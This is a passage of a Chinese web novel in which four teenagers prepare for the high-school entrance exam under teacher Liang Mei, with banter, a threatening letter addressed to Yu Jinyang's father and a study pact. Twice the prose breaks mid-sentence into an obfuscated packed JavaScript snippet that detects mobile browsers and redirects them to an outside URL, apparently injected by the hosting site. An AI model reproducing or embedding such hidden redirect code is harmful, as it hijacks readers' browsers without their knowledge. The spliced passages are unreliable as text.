距离中考还有一百天的那个周末。 俞津杨作为中考百日誓师的学生代表发言,俞人杰拿着手机在学生家长席的黄金席位上准备拿手机进行录像,他伸长胳膊高举着相机,侧拍、仰拍、俯拍、广角——活像只摘不着香蕉的猴子,上蹿下跳地只为记录下他儿子最完美的角度。 李映桥和梁梅则蹲在实验中学的操场上,看着观众席那边乌泱泱的人头和校领导如X光线般四处扫射的视线,以及主席台边上那个正在候场削瘦清冷的背影。 “哎。” “哎。” 两人同时叹了口气,好热啊,晒死了。 “怎么还不开始,高典,你往我这边挪挪,挡着梁老师晒太阳了!”李映桥手上还拿着俞津杨的语文书,挡在脑袋上仰头对着人高马大的高典忍不住好奇说,“你真有一米八吗?” 梁梅一巴掌呼李映桥后脑勺上,“你拿俞津杨书挡着,来,高典,过来点,老师晒死了!” 高典一动不敢动,生怕领导的X光线扫到他:“……我真服了!你俩别给我裤子扯破了!节日哥拿手机在后面拍着呢!” 12.第十一章 “各位领导、老师、家长,亲……同学们——” 俞津杨一顿,皱了皱眉,继续往下念。 台下的老父亲这会儿已经换成长枪短炮对准他儿子,机位架得比剧组拍吻戏都要多两个,手机也没闲着,咔嚓拍了两张发给唐湘女士,汇报说:“你儿子好害羞,讲个亲爱的同学们跟要他命一样。” 唐湘回复:“你换他演讲稿了?死节日头你能不能靠点谱,阿杨青春期警告啊!” 台上的少年已经恢复如常,声音平静清冽,吐字清晰,有如玉石相击般质感的冷意,划过正在遭受烈日炙烤的午后操场。 “大家好。 我是初三一班的俞津杨,作为本届誓师大会的学生代表发言,我倍感荣幸,也深觉责任重大。作为一百天的冲刺起点—— …… 成长或许是一场蜕变,但成绩不是抱着侥幸心理等待奇迹降临。老师们常讲天道酬勤,几分耕耘几分收获。成功从来不是偶然,需要付出辛勤的努力和汗水。这一百天里,我们将以最饱满的状态,争分夺秒,查漏补缺;同时调整心态,沉着应考——” 好刻板。 好正经。 好无趣。 李映桥蹲在高典的身后,看着主席台上一本正经、沉稳冷静的俞津杨,长长叹了口气,更坚定了她不要读书的信念,感觉他越读越傻。 “好!说得好!”梁梅蹲在一旁海豹式鼓掌。 李映桥斜乜她一眼,面无表情收回。 果然不能读书,刻板老师喜欢刻板学生,刻板的一生。 台上少年不卑不亢的声音还在继续—— “未来一百天我们绝不松懈,相信天道酬勤。 懒惰就像蛀牙,夜晚躲在被窝里偷吃的每一包零食,每一口都是甜蜜的陷阱,要享受当下的口腹之欲,那么就要承担未来拔牙时的疼痛和焦虑。 …… 最后,预祝各位在百日后的考场上取得最终胜利,金榜题名!” 李映桥有过一次拔牙阴影,还是在小画城的时候。李姝莉没带她上医院,而是去了附近一家牙科诊所——整家店面门脸窄得大概就她们家杂货铺四分之一宽,长长一条,挤在修车铺和早餐店之间的缝隙里,乍一看真的很像他们两家店的公共厕所。 县城的牙科医生一般都用自己的名字当招牌,蓝底黑字明晃晃挂着,生怕小孩子找不到人报仇似的。李映桥那阵子就记住了给他拔牙的那位医生叫蒲丁。她后来每次经过蒲丁的诊所都要狠狠给他一记白眼。 因为蒲丁给她拔完牙,有一小块棉球忘在她的牙床里,疼了她两个多月,半边脸都肿得像个发面馒头,第二次补牙李姝莉带她去市医院,结果从牙床里拎出一团埋了两个多月血迹斑斑的棉团。 后来李映桥知道,蒲丁的店面为什么这么小,是被人砸的。 牙疼那两个多月的时间里,作为李映桥的同桌,俞津杨就要忍受被她捶、被她咬和被她打来缓解疼痛。 除非真把她惹急了,一般李映桥也不太会下重手,咬两口见他没反应自顾自写作业,又把他的胳膊随手一扔,自己玩去了。 ** 誓师大会结束后,梁梅领着几个孩子往自己家去准备再给他们鼓鼓劲儿,分析分析今年的中考形式,顺便再敲打敲打李映桥。 几个小孩一进门看见阳台上那些瓶瓶罐罐里的活物就撒了欢地冲过去,将它们团团围住开始七嘴八舌地互相给对方科普。 “蛐蛐儿能吃吗?”郑妙嘉问。 “不知道,”李映桥摇头说,“但屎壳郎肯定不能吃吧。” 说到这个,高典瞬间来劲儿,但他个子高,没往阳台上凑,和俞津杨站在阳台的推拉门里,“哎,你们吃知了吗?庆宜特产,我爸妈说等中考结束带我去庆宜吃。” 李映桥斜眼睨他:“你在广东应该吃得挺杂吧?还差这口知了啊?” “冤枉啊!偶像,”高典夸张地捂住胸口,一副摧心剖肝的样子,“你可不能这么无端端揣测我的饮食结构——” 李映桥没等他说完,余光瞥见高典旁边某人的胳膊肘儿,她立马用眼神劈开高典,后者乖觉地给她让出一条秋后算账的羊肠小道——她径直盯着从进门开始就没讲话的俞津杨,一边微微眯起眼,一边将两只手的指关节压得咯咯作响,冷笑着一步步走向他,咬牙切齿叫他:“俞、喵、喵——” 俞津杨眼神淡淡地看着对面这个抓马的青梅,人却条件反射地不自觉往后退两步,还顺手将梁老师摆在桌上的花瓶往里挪了挪,免得对面这人突然朝他扑过来给打碎了。 “别发疯啊,在梁老师家呢。”他毫无威慑力地警告一句。 李映桥步步逼近,嘴里重复着他刚刚台上讲的话,每个字都仿佛从牙缝中碾出来:“懒惰就像蛀牙是吧?啊?在台上点谁呢!” “点梁老师行了吧,”他面不改色心不跳地说,“我劝她别跟一头倔驴较劲了。” “俞喵喵!”李映桥一个大步跨向前,俞津杨退无可退,整个后背“砰”地一声撞上厨房的玻璃推拉门,门框震得哐哐作响,把在里头烧水的梁梅都惊动了,下意识回头瞥他俩一眼,只见李映桥两手掐住俞津杨脖子,手指卡在他的喉结上,拼命摇晃,大声质问:“谁是驴!你骂谁是驴!” 俞津杨要给她晃吐了,但长大的好处就是如今李映桥的力气全然不敌当年那一拳头过来太阳立马下山的程度。 他稍微梗一梗脖子,李映桥可能都晃不动他,但他确信如果李映桥发现自己晃起来有点吃力,下一秒她就会毫不犹豫给他后脑勺呼上一巴掌,马上要中考了,后脑勺要避免重击。 于是他决定还是让她就这么掐着喉结晃算了。 “李映桥,你轻点行不行,别给我喉结按回去了,我好不容易长出来的。”俞津杨还是轻描淡写地警告了一句。 果然,她一听,晃得更史无前例地卖力,“你还是小时候可爱!晃回去,晃回去!” 俞津杨:“…………” “屎壳郎到底能不能吃呀?”郑妙嘉还在问,高典抓耳挠腮正在手机上百度。 梁梅从厨房烧好水出来看见这么两处光景,可爱之中也是生出一丝丝绝望,她也是破罐破摔了:“都能吃,都能吃,屎壳郎不仅能吃,还是个药引子,正好大伙都在,食材们也都别想活了,今晚我就一锅给你们煮了,该补身高的补身高,该补脑的补脑,大家一起补补。哈哈。” “……” “……” “……” 只有李映桥不无语,她觉得身高和脑子自己都不需要补。梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473189|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师没有内涵她。 于是,几个小孩多少也听出梁梅的阴阳怪气,立马二话不说,齐刷刷在餐桌上就位,四双眼睛巴巴地跟着梁梅转。 “干嘛,等开饭啊!”梁梅火气正大,“本子都拿出来,先写上你们未来一百天的复习计划,李映桥,你写你未来一百天想挣多少钱。” 几人又齐刷刷低头,埋头奋笔。 只有李映桥叼着根笔,若有所思地看着梁梅,但梁梅不理她。 高典自从深圳转学回来,成绩突飞猛进,原本在小画城吊车尾的成绩,这趟回来在俞津杨的班里也能考进前十。不得不惊叹,大省的教育资源确实要甩开丰潭几条街—— 就像生态食物链,大鱼吃小鱼,小鱼吃杂草,杂草还天天为小鱼提心吊胆,生怕一个不注意被身后游荡的大鱼给吞吃入腹,这样的话,它的哺育就没有价值了,因为它和小鱼都没能逃过最终被大鱼吞噬的命运。 而县城的教育生态大多也是如此——这里是草根系老师们撑起来的一片天。用他们的根系哺育,也为它们胆颤心惊,无论小鱼们多么用力地挥动双鳍,都不如大鱼们轻轻一甩尾掀起的浪花大。 梁梅自认脾气一般,人品也一般。生平最爱干的一件事就是和命运呕气。老师知道她找了李映桥后,劝她别误人子弟,说她教不出好学生,更改变不了丰潭贫瘠的教育,让她死心。她当然呛回去了,还跟老师立下军令状。只是她没想到,自己遇到一个犟种,李映桥讨厌读书的程度是她超乎想象的,可她偏偏又一眼选中她成为自己那条跟老师呕气的小鱼。 其他几人都已经放下笔,只有李映桥还在奋笔疾书。俞津杨自动自发已经干起了干部的活儿,收好其他两人和自己的本子递给梁梅。 其他所有人都盯着李映桥这头倔驴。 李映桥丝毫不焦虑只剩她没交,反而高典一副皇帝不急太监急的模样在那挠脖子,时不时观察梁梅的脸色。 她冲俞津杨招招手,笔还夹在人中位置。两人同在一边,俞津杨站在自己的位置上,低头瞧她一眼,李映桥嘴巴挤成鸟喙状,像只叼着虫子的小麻雀,可见是有多懒,一副东风吹马耳的姿态地靠在椅子上,宁可撅着个嘴小声含糊地问他,也不把笔拿下来,好好说话。 “你爸……那台车要多少钱?”她问。 “……” 不等俞津杨回答,梁梅耳尖听得一清二楚,她一把捞过刚收上来的本子拍她脑门上:“李映桥!未来一百天,不是未来一百年!” “好嘛!”李映桥哼一声,这才松了嘴巴上的劲儿,把笔扔桌上,决定狮子大开口,足足伸出三根手指,“三千块,未来三个月,一个月一千,很合理吧!” 俞津杨不紧不慢地端起杯子喝了口水,刚准备咽下去—— 听梁梅一锤定音:“成交,我给你翻个倍,你考上潭中,我给你一万。” 啊? 李映桥彻底呆住,匪夷所思地看着梁梅,但其他几人都坐不住了。 “那我——”高典指指自己,两眼放光地看着梁梅。 梁梅一一报价:“你和妙嘉一人一千。” 她转头看向正在喝水那位:“俞津杨十块。” 俞津杨:“……” 她就当花钱买鱼苗了,总能游出去一条。 13.第十二章(二更合一) 中考前那三个月,梁梅家成了他们的复习据点。每到周末,四人带着一周的疑问风风火火杀去梁老师的家,又带着新产生的困惑结束那周的突击。 中考的知识骨架清晰明了,不比高考纵深复杂,高中的知识结构甚至细微到每根知识骨架的神经末梢。如果这会儿高三,梁梅不会浪费时间和金钱在这陪他们耗。但当初她就是最后三个月被老师耳提面命刺激着考上中师的,她那时要有现在这个配置,考什么中师,她也考潭中去了。 李映桥在他们四个人全方位的督促和鞭策下:梁梅专攻语文,郑妙嘉负责社会科学,高典负责海豹式鼓掌,剩下的科目俞津杨负责。 这和减肥有着异曲同工的效果,头一个月的成效是相当明显的,俞津杨给她复印过来的模拟卷子,从满屏叉叉多得梁梅每次给她讲卷子都要掐着人中,到现在只需要掐着李映桥的人中防止她得意忘形,才能把卷子讲完。 不过查漏补缺这件事就跟体检一样,不扫X光片还真不知道,一扫她发现李映桥可能是块奶酪,身上全是孔,知识结构散得像她二舅姥爷的骨头,定理公式一给她打散都拼不回原样。 但梁梅非常清楚鸡血这种东西,也只能间歇性打打。一旦三分钟热度下去,她就跟潮水退去后的滩涂一样,又彻底暴露骨子里那滩顽固的烂泥本色。 “拿出来,”梁梅板着脸朝李映桥伸出手,“中考不考破案,你看两百集柯南有什么用——瞪我也没用,干嘛啊,你要杀监考老师啊?” 她猛猛摇头。 “行,不杀就拿过来。” 其余几人顿时噤若寒蝉,纷纷偷瞄着梁梅。 交是不可能交的。李映桥充耳不闻,将从同学那借的漫画书悄悄塞回书包里,然后整个人疲沓沓地耷拉下去,开始漫不经心地写俞津杨给她复印的实验中学的模拟真题。 梁梅不肯作罢,又拍了拍桌子,执意要没收。 李映桥梗着脖子不肯给。 梁梅将目光转向俞津杨,递了个眼色过去,让他做这个‘坏人’。 “……” 俞津杨默默叹了口气,头也不抬地把手伸过去。 好事儿轮不着他,破事儿全是他干。 果不其然,刚苦口婆心给她讲完卷子,一出门,李映桥脸色骤变,二话不说从背后突袭他,朝着他刚挎上书包肩带的肩胛骨,邦邦就是两拳砸过来,力道大得差点给他从楼梯上掀下去。 “叛徒!我要代表人民制裁你!” “人民的公敌!” “你这个内鬼!” “俞喵喵!你这个阴险小人!还我柯南!还我书!” “那是我跟别人借的,我不管,你要赔我一本。” 李映桥咄咄逼人地追在他屁股后头用连珠炮似的话语突突他一路,突得俞津杨决定临时去男厕所避一避。 谁料,李映桥气昏头,满脑子都是她被没收的那本书,今天决心就粘着他,也不管不顾地跟着他往里头冲。 幸好此刻厕所空无一人,俞津杨率先反应过来,立马转身一胳膊撑在门框上挡着,低头睨她:“李映桥,眼睛看都不看?” 李映桥回过神,余光蓦然瞥见一个小便池,顿时反应过来,恼羞成怒,又是一拳重重捶他胸口上,“靠!” 俞津杨闷哼一声,捂着隐隐发出钝痛的胸口,嘶了几声,倒抽着冷气说:“……行了,下周末你跟我回家拿,我那边有全套的。好了,现在开始别跟着我了,我要上厕所。” “真的?”李映桥此刻眼睛瞬亮,活像隧道里两盏开着远光的车前灯。 论变脸,俞津杨觉得要拿她翻过的脸当日历,一年估计能翻出三千六百多天。 “真的真的。”他把头点得像根狂风暴雨中的雨刮器那般机械。 本来是为了躲她,但这会儿是真的有感觉了。 李映桥仍赖在原地,眼神狐疑地在他身上来回睃巡着说:“我怎么那么不信你呢。” “那你要怎么样?”他也有些不耐说。 “我今天跟你回家取。” “……你是想马上看结局吧?”他冷笑一声,立马看穿。话音刚落,俞津杨余光瞥见有个成年男人从老远过来,将李映桥原地调了个方向就毫不犹豫地往外推,“卷子写完了吗你,就敢在这跟我谈条件?” “你怎么比梁老师还烦啊!”李映桥扭头瞪他,“喵喵,你个十块钱的,就别对我这个身价一万的指手画脚了好吗?” “……李映桥,”他给她推到一旁的灌木丛边上,紧了紧单边的书包带,忍住暴击她那颗圆润的后脑勺冲动说,“你脑子是不是新买的还没拆塑封,要不要我帮你开个光,重新规划一下脑回路。身价是你这么算的吗?” “要你管——” “书还要不要了?” “要!” “现在,回家,”他突然用脚尖轻轻踢她的鞋尖,下巴颏儿朝着身后公交车驶来的方向一扬,指挥道,“向后转,你车来了。” 李映桥慢吞吞地转一半,又回头不依不饶地和他确认:“那你下周别忘了哦。” “嗯。”俞津杨面无表情地应了声,声音却陡然拔高,语气前所未有的活络,“来,一万块,跑起来,快快快!” “……你有病啊!” 李映桥边追公交车边忍无可忍地回头破口大骂。 俞津杨在厕所里笑得站不住脚。结果一出来,还看见李映桥直愣愣杵在那,他两眼一抹黑,两人四目相瞪。 “让你跑起来不听,没追上你师傅?”他洗完手说。 “俞、喵、喵——”李映桥咬牙切齿,把拳头捏得咔咔作响,“你信不信我,现在真咬你啊!” “什么毛病,我刚上完厕所,”俞津杨瞥她一眼,又抬腕看了眼手表,这才叹口气无奈道,“下一趟几点,我陪你等会儿行了吧。” 一等等天黑。暮色逐渐四合,马路两侧次第亮起一盏盏晕黄的路灯,像一颗颗被人打散的蛋黄,沿着沥青路面一直流淌到马路尽头。 李映桥看得两眼昏昏,饿得前胸贴肚皮,扯了扯和她并排蹲在一起的人的袖子,“喵喵,你带钱了吗?” 俞津杨正发愁他要怎么回家,他早上出门太急钱包和手机都没带,张叔电话也打不了,没人来接他了,他说:“我说没有,你信吗?” 果然,她鼓了鼓嘴:“小气鬼。” 他直接把背上的双肩包甩她面前:“不信你自己翻,能翻出一毛钱,我就吃下去。” 李映桥毫不客气,一把抓过来就开始翻,卷子、卷子、卷子、怎么全是卷子。上辈子是活太平整了吗,这辈子居然只跟卷子打交道。 “这什么——” 李映桥从一堆被翻得乱七八糟的卷子里,翻出一张厚度不太一样、质地却更挺括的稿纸,比软塌塌的试卷质感形成鲜明对比。有钱真好,纸都比别人用细腻厚实。她就着晕黄的路灯下,忍不住好奇将那张纸抽出来,上面字迹那叫一个潦草,本以为是他的草稿纸,李映桥都没兴趣看,刚要给他塞回去—— 俞津杨脸色骤变,眼疾手快地劈手夺回去,只听阒寂的公交站,纸页在争夺中发出“哗啦”一声猎响,也瞬间击通了李映桥的天灵盖和任督二脉。 “喵喵!这是情书!”她立马反应过来,有些不好意思地说,“抱歉啊,我只是好奇这纸的样式,看着很贵。”她倒丝毫不避讳自己没见过好东西,相当坦诚地讲出她的感受。 俞津杨的耳廓以肉眼可见的速度又开始泛红,他不动声色地把纸折好放回书包里:“不是。” 李映桥好奇地凑近他,眼睛发着亮:“是你写给人家的,还是别人写给你的呀?哎,你在你们实验是不是很受欢迎,一个会跳舞的学霸,应该很拉风吧。” “说了不是了,”俞津杨面色已经恢复平静,语气平淡,“就是一封普通的信。” “切,”李映桥撇撇嘴,不以为然地说,“信这玩意儿就没有普通的,咱们这么多年的朋友了,啥时候给对方写过信嘛。喵喵,你有小秘密了哦。” “真那么想知道?”他忽然转过头直视她的眼睛问。 李映桥反倒一愣,忙摆手,一脸真挚地说:“我不是想看信,我只是好奇而已,你们学校有没有特别厉害的女生。像我们仙二,有个大姐大,一天到晚和她的小姐妹在走廊上看哪个男生帅,然后就下注,看几天能被她追到手,哇塞,她超厉害,目前还没失手过,有些蹬鼻子上脸的,也撑不过两周。” “……你下注了?”他看着她说。 “嘿嘿,”她晃着脑袋,伸出两根手指,“小赚两千啦。” 俞津杨撇开眼,说:“那封是恐吓信。” 李映桥大脑轰然一响,“什么!你在学校又被霸凌啊!不是,俞喵喵你怎么回事啊!你总这么好说话,谁啊,你告诉我,谁。我弄死他。” “得了吧,你从小也没少欺负我,”俞津杨无所谓地扯了扯嘴角,笑得波澜不惊,仿佛习惯了似的,把书包拉上,单背到左肩上,低头朝右边看她一眼,“不是我的恐吓信,是写给我爸的,对方寄到我学校了。” *** “叮铃铃铃——” 李映桥日盼夜盼,好不容易熬到周五最后一节课。她火速将课本一股脑地塞进书包里,拉链都没顾上拉就跟猴儿似的一个箭步消失在教室门口。刚一推开门,李姝莉也刚买完菜回来,拎着条湿答答的鲫鱼站在玄关处慢条斯理地换鞋,看见女儿这么火急火燎地冲回家,忍不住边换鞋边谑道:“一万块都没能让你在学校多留一分钟,啧啧,瞧瞧我女儿这格局。” 李映桥回房间换了个书包,拿上这周做完的所有卷子,一副胸有成竹的样子和李姝莉讲:“下周我们学校周考,你就等着看吧。” “我不看,你给梁梅看,”李姝莉系上围裙转身进了厨房,轻描淡写道,“我说了,考不考上潭中我都养你一辈子。你能不能考上我心里有数,你还记得你从前不愿意上学,我跟你抛硬币,我说这硬币只要立起来咱们今天就必须去上学,就这你都嫌风险大,你不肯赌。” “……” “我是不想打击梁老师的信心,但你肯努力也是好事,”李姝莉把鱼蓄上水,回头看她说,“你今天要不在家吃的话,我把鱼养池子里,明天中午给你烧。对了,梁老师会做饭吗?” 不会。 梁老师其实只会煮点泡面,她们吃得苦不堪言。但李映桥不敢说,怕李姝莉不同意她再去梁老师家复习。于是她说:“我们梁老师做饭可好吃了,她可是个五星级大厨,每周变着花样给我们做满汉全席,这周我们吃卤猪蹄、酱肘子、生炝大虾。” 李姝莉奇怪地瞥她一眼,“砰——”一菜刀砸菜板上,剁着排骨不可思议地嘀咕道:“这梁梅到底图什么啊。” 李姝莉一开始听到她要去梁梅那复习考潭中,是强烈反对的。李映桥的未来她早就做好打算了,桥桥喜欢看小说,喜欢追番剧看动漫。随便她读书能读到哪,职高、大专都好。她趁着这两年多打几份工,用攒下的钱给她盘一间小书店,那她就有看不完的小说,还能当个清闲快意的小老板娘。 干嘛非要跟着千军万马去挤潭中那根独木桥,就算考上潭中,还有本科生研究生博士生,这一辈子没完没了的生,什么时候才能彻底松懈下来? 李姝莉从来没想过要女儿出人头地。她太清楚那些光鲜亮丽的背后,要经历多少世事的摧残和磋磨。尤其草根,尤其又是草根女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484768|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。她自己没本事,那她就不要一个世俗意义上所谓成功、体面却要在她看不见的暗处被生活剥掉一层皮后才能露出光鲜的女儿,她只要一个能在她眼皮子底下从小就快乐健康的女儿。 但桥桥自己又坚持和梁梅混,她也无奈,剁完最后一块排骨,回头看女儿正在门口换鞋准备出门,照例叮嘱了句:“戴好口罩,尽量少和陌生人说话,别让那些记者找上门,不然别怪妈妈又带着你搬家。” “收到,李长官。”李映桥重重点头。 “……对了,你们那个复习小组是四个人吗?妙嘉是不是也在,马上要立夏了,下周我给你们做立夏饭你带过去。我记得以前妙嘉爱吃我做的立夏饭,那个节日头的儿子是不是也在?他是不是不爱吃蚕豆,我记得唐湘说过他很挑食。” 一到梁梅家,李映桥屁股还没坐热,就已经迫不及待地将这个消息分享给其他几位,妙嘉雀跃地几乎原地蹦起来,兴奋和她一击掌,“天呐!李阿姨万岁!我真的不想再吃梁老师的黑暗料理了。” 李映桥嘿嘿笑着,转头看向一旁的俞津杨,仿若抓到把柄似的看着他说:“喵喵,听说你不爱吃蚕豆?这样,等会儿你再多借我一本柯南系列的书,我就让我妈不放蚕豆好吧。” 俞津杨置若罔闻,正在草稿纸上奋笔疾书,半径为2的圆形中,弦AB=2√3……他专心致志做题,默念着,演算着,等慢条斯理地算完这道题,把答案√3填上去,才瞥她一眼,答非所问地冷淡道:“卷子写完了吗?” 以为有了公交车站牌那天的插曲,李映桥觉得自己和他的关系有了质的飞跃,毕竟她有了他一点不为人知的小秘密。她别提多同情他,尤其他当时习以为常的那个表情,她说不出什么确切的感受,只觉得胸腔闷闷的。 晚上回到家,她还拉着李姝莉女士喋喋不休地说个不停,说自己的好朋友每天都生活在这样水深火热的日子里,却还能心无旁骛地专注学习,把学习、兴趣、生活都安排得井井有条。这么一对比,她确实该向他学习。虽然李姝莉女士说不用,你没有他的钱,就不要硬吃他的苦。 话是这样讲,但李映桥也还是足足为他心疼、提心吊胆了整整一个周,生怕他被坏人抓走了,她的柯南就没下落了。至少心也在嗓子眼好歹为他挂了一周呢,而他一回到梁梅老师家,居然又给她摆出这么一副死样子—— 李映桥一巴掌朝他后脑勺呼过去,“你个十块钱见到一万块就这个态度?怎么敢的。” “……” 要是这么个身价逻辑—— 对面俩一千块,听得也是脑瓜子嗡嗡的。 梁梅从厨房端着一锅刚煮得外焦里也焦的粥糊糊出来准备倒掉,结果就看见她的一万块正在教训十块尊卑不分,她立马掏出杀手锏,“来,喝粥。” 果不其然,所有人齐刷刷地捂着鼻子从桌上弹开,活像一群电线杆上受惊的麻雀,四散逃窜。 她“哐当”一声把锅扔回被锅碗瓢盆堆满的水槽里,“所以能不能好好写卷子?李映桥,你再动手动脚,呼他后脑勺一次扣一百。” 李映桥老实了,一边从书包里掏卷子,一边又把手伸去隔壁去摸了摸俞津杨毛茸茸的头顶,“这样可以吧。” 俞津杨压根不让她碰,触电般地条件反射甩了甩头,将自己脑袋甩得更毛茸茸,然后抖开她不太安分的手,眼都不眨地扫着卷子说:“不行,这你不如给我一拳。” “你看,你自己欠揍。”李映桥哈哈一乐,“会不会有一天,你也会想念被我暴揍的时候呢?” “狗会怀念那一天。”他头也不抬。 郑妙嘉突然抬头,突发奇想说:“哎,桥桥,我们四个要不来做个约定吧!” 李映桥:“什么约定呀。” 高典捧场王,都没说什么约定,就点头如捣蒜:“好啊好啊。” 李映桥斜瞥他一眼:“高典,我觉得你是会在白纸上签名的那种人。” “那就给他个教训,让他三十岁那年把所有存款都给你俩平分。” “……对哦,反正你都答应了!你不能反悔了。”郑妙嘉说。 然而,前面那句竟然是俞津杨说的,高典瞪圆眼睛,活见鬼似的,简直不敢相信,这个平日里看着人畜无害、脾气顶顶好的俞喵喵,竟然是个黑心棉的。 “我滴个娘亲哎,你要不要听听你那张嘴在说什么,”高典越过桌子去掐俞津杨的脖子,晃得整个桌角都在“嘎吱嘎吱”挪,“俞津杨,你竟是个衣冠禽兽,我已经看到了你心里那颗24k纯黑的资本家心。你有本事你三十岁把你的资产都给她俩啊,等你三十岁,你爸肯定退了,你这个丰潭木玩太子爷继承家业,居然还惦记我这点三瓜俩枣。” 李映桥和郑妙嘉都是第一次见高典炸毛。 “不要你钱,不要你钱。”两人忙表态说。 高典看向始作俑者:“……俞津杨!” 俞津杨终于埋在卷子里无奈笑出声:“干嘛,我还能要你钱啊。” “郑妙嘉,你说!”高典转移话题。 郑妙嘉:“没什么啊,就约定你三十岁把钱和房子都给我们就好了。” “啊!!!!!!!!!”高典仰天长啸。 其余几人直接笑抽过气去。 “所以,妙嘉,我们到底约定什么呢?”李映桥最后还是问了句。 “我那天在梁老师的备案课本上看到标了个日子,应该是她的生日,”郑妙嘉神秘兮兮地说,“我们三十岁的时候,不管我们做什么工作,不管我们在哪,不管我们结没结婚,反正有家属的带家属,然后在我们三十岁那年的梁老师生日的那一天,天南海北、上刀山下油锅、也要回来在这里给她过生日,怎么样?” 14.第十三章 小朋友们做完约定,终于消停下来,开始埋头在卷子上奋笔疾书。 屋内鸦雀无声,李映桥眼睛盯着数学卷子,笔尖却无意识地在稿纸上画着圈圈,思绪又飞远了——三十岁啊,她遥远的三十岁,应该是个腰缠万贯的富婆了吧。 嘿嘿。李映桥简直越想越美,嘴角都忍不住开始上扬。 俞津杨从卷子里抬头,眼神一扫就知道她在乐什么,残忍地将她拽回光秃秃的现实中,看着她数学卷子上正在减重平台期、举步维艰的成绩说:“先考上潭中再说吧,距离潭中去年的分数线,你至少还差六七十分。” “六十分洒洒水啦。”她学高典平日里的口头禅。 高典立马昂首挺胸,骄傲地表示,“是啊,俺们小芳没有问题滴!” 小芳是她当初抓人贩子的报道上用的英雄化名,李映桥都快忘了这茬,这会儿记忆瞬间回流,连同那首顺口溜,她气呼呼朝高典丢了本书过去。 真是哪壶不开提哪壶。 郑妙嘉倒是突然想起来又直言不讳问:“桥桥,你现在住哪儿啊?怎么后来搬家之后也都没通知我们呢。要不是梁梅老师,你是不是都不打算跟我们联系啦?” “没有,”李映桥又整个人蔫了下去,叹口气说,“我妈妈不让讲。” “现在也不让讲啊?”妙嘉又好奇问。 李映桥无奈地点点头,“等考完试我再问问妈妈。” 郑妙嘉忙说:“没关系,阿姨肯定是担心你的人身安危。你毕竟是我们小画城的英雄啊,英雄总是需要神秘感的。” “哎。” 三人都异口同声、各怀心事地重重叹了口气,唯独俞津杨没作声,笔尖在纸上唰唰唰没停过。 “砰——”一声,李映桥又给了他后脑勺一记“爱的暴击”,“你咋不跟我们同步呢。” 俞津杨:“……” 这次确实不算重,对比从前五分之一的力道都没用上,但俞津杨显然也开始拿乔,有了梁梅的一百块撑腰,现在李映桥就是摸他一下,他都要毫不留情扣她一百,就是要把她这个毛病给改回来。 李映桥还在执着他们的默契:“叹气啊。” 俞津杨攥着笔,冷瞥她一眼:“九千九。” 李映桥四下环顾一圈,嘿嘿一笑:“梁老师又不在,她刚下楼了。” 俞津杨转头看向另外两位目击者—— 察觉到少爷今天势必要让黑恶势力无所遁形的锐利目光,问他俩愿不愿意出庭作证。但两人谁也不想惹,不约而同地火速低下头。 高典:“这几?” 郑妙嘉:“……B吧。” 高典拿手在她面前一晃,“你别是真瞎啊,这填空题!” “……” 李映桥哈哈大笑,像被人抽了骨头似的仰面靠在椅背上,这才转头去看一旁快气冒烟的俞津杨,举起三根手指发那天不劈雷不打的誓说:“好嘛好嘛,别生气了,喵喵,我保证,以后再也不动你的后脑勺了。以后我会好好爱护你的,真的,我以后写卷子之前对着你的后脑勺先上三炷香怎么样?” 她俨然像个哄人哄得游刃有余的情场老手,为求原谅什么话都讲得出来,转眼自己又忘得一干二净,活脱脱一个屡教不改的惯犯。 李映桥对他发过的誓要都应验的话,周杰伦都写不出《晴天》。 俞津杨面无表情转回去,一句多余的话也不想和她说:“绝交吧,李映桥。” 李映桥这人从小就吃软不吃硬,都这么哄了,俞津杨还这么拿乔,她一把抽过自己的卷子,往旁边挪出两个胳膊的距离,语气也正儿八经地:“俞喵喵,你自己说的哦。” 梁梅这会儿正下楼给他们买晚饭,刚下楼梯,她猛地刹住脚——楼栋门口杵着两个黑衣人,墨镜、西装,像两尊门神,连站姿都如出一辙。 不远处还泊着一台价值不菲的豪车,在漆黑的夜色中泛着一丝锃亮的冷光。她本以为是楼上那姑娘的富二代男朋友又来了,可定睛一瞧,才发现那台豪车有些眼熟,是她曾在国营大饭店门口见过的那台迈巴赫。 “梁老师,俞先生想和您谈谈。”其中一个门神说。 梁梅觉得俞人杰这个人身上有个奇怪的特点,他只要不单独出现,尤其是和老婆孩子一起出现的时候,他就显得呆呆傻傻,像只巨大的哈士奇成精,完全不像个身家过亿的老板。但他每次单独出现,那种经年累月在名利场里打滚的精英范儿又出来了。 这点她在小画城就深有感触,现在随着他事业版图的不断扩张,越发张扬和明显。 无论穿西装的,还是打补丁的。梁梅对学生家长都是一副公事公办的态度:“俞爸爸,什么事?” 俞人杰从车上下来,在梁梅面前站定,不热络也不疏离地开门见山说:“抱歉,梁老师,这会儿打搅你,我来接阿杨,从今天开始,他暂时先不来您这儿补课了。” 梁梅执教几年,也见过形形色色的学生家长。俞人杰这种家长其实不多见,作为身价不菲的老板,他身上没有令人却步的居高临下和盛气凌人;作为家长,也没有对老师的过分谄媚。 